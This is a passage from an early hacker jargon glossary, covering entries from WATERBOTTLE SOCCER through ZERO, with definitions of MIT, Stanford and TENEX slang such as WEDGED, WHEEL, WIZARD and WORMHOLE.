commands to begin and end transcript files are still :WALBEG and

:WALEND, with default file DSK:WALL PAPER.

WATERBOTTLE SOCCER n. A deadly sport practiced mainly by Sussman's

graduate students. It, along with chair bowling, is the most

evident manifestation of the "locker room atmosphere" said to

reign in that sphere. (Sussman doesn't approve.) [As of 11/82,

it's reported that the sport has given way to a new game called

"disc-boot", and Sussman even participates occasionally.]

WEDGED [from "head wedged up ass"] adj. To be in a locked state,

incapable of proceeding without help. (See GRONK.) Often refers

to humans suffering misconceptions. "The swapper is wedged."

This term is sometimes used as a synonym for DEADLOCKED (q.v.).

WHAT n. The question mark character ("?"). See QUES. Usage: rare,

used particularly in conjunction with WOW.

WHEEL n. 1. A privilege bit that canonically allows the possessor to

perform any operation on a timesharing system, such as read or

write any file on the system regardless of protections, change or

or look at any address in the running monitor, crash or reload the

system, and kill/create jobs and user accounts. The term was

invented on the TENEX operating system, and carried over to

TOPS-20, Xerox-IFS and others. 2. A person who posses a wheel bit.

"We need to find a wheel to unwedge the hung tape drives."

WHEEL WARS [from LOTS at Stanford University] A period during which

student wheels hack each other by attempting to log each other out

of the system, delete each other's files, or otherwise wreak havoc,

usually at the expense of the lesser users.

WIN [from MIT jargon] 1. v. To succeed. A program wins if no

unexpected conditions arise. 2. BIG WIN: n. Serendipity.

Emphatic forms: MOBY WIN, SUPER WIN, HYPER-WIN (often used

interjectively as a reply). For some reason SUITABLE WIN is also

common at MIT, usually in reference to a satisfactory solution to a

problem. See LOSE.

WINNAGE n. The situation when a lossage is corrected, or when

something is winning. Quite rare. Usage: also quite rare.

WINNER 1. n. An unexpectedly good situation, program, programmer or

person. 2. REAL WINNER: Often sarcastic, but also used as high

praise.

WINNITUDE n. The quality of winning (as opposed to WINNAGE, which is

the result of winning). "That's really great! Boy, what

winnitude!"

WIZARD n. 1. A person who knows how a complex piece of software or

hardware works; someone who can find and fix his bugs in an

emergency. Rarely used at MIT, where HACKER is the preferred term.

2. A person who is permitted to do things forbidden to ordinary

people, e.g., a "net wizard" on a TENEX may run programs which

speak low-level host-imp protocol; an ADVENT wizard at SAIL may

play Adventure during the day.

WORMHOLE n. A location in a monitor which contains the address of a

routine, with the specific intent of making it easy to substitute a

different routine. The following quote comes from "Polymorphic

Systems", vol. 2, p. 54:

"Any type of I/O device can be substituted for the standard device

by loading a simple driver routine for that device and installing

its address in one of the monitor's `wormholes.'*

----------

*The term `wormhole' has been used to describe a hypothetical

astronomical situation where a black hole connects to the `other

side' of the universe. When this happens, information can pass

through the wormhole, in only one direction, much as `assumptions'

pass down the monitor's wormholes."

WOW See EXCL.

XGP 1. n. Xerox Graphics Printer. 2. v. To print something on the

XGP. "You shouldn't XGP such a large file."

XYZZY [from the Adventure game] adj. See PLUGH.

YOYO n. DEC service engineers' slang for UUO (q.v.). Usage: rare at

Stanford and MIT, has been found at random DEC installations.

YOYO MODE n. State in which the system is said to be when it rapidly

alternates several times between being up and being down.

YU-SHIANG WHOLE FISH n. The character gamma (extended SAIL ASCII 11),

which with a loop in its tail looks like a fish. Usage: used

primarily by people on the MIT LISP Machine. Tends to elicit

incredulity from people who hear about it second-hand.

ZERO v. 1. To set to zero. Usually said of small pieces of data, such

as bits or words. 2. To erase; to discard all data from. Said of

disks and directories, where "zeroing" need not involve actually

writing zeroes throughout the area being zeroed.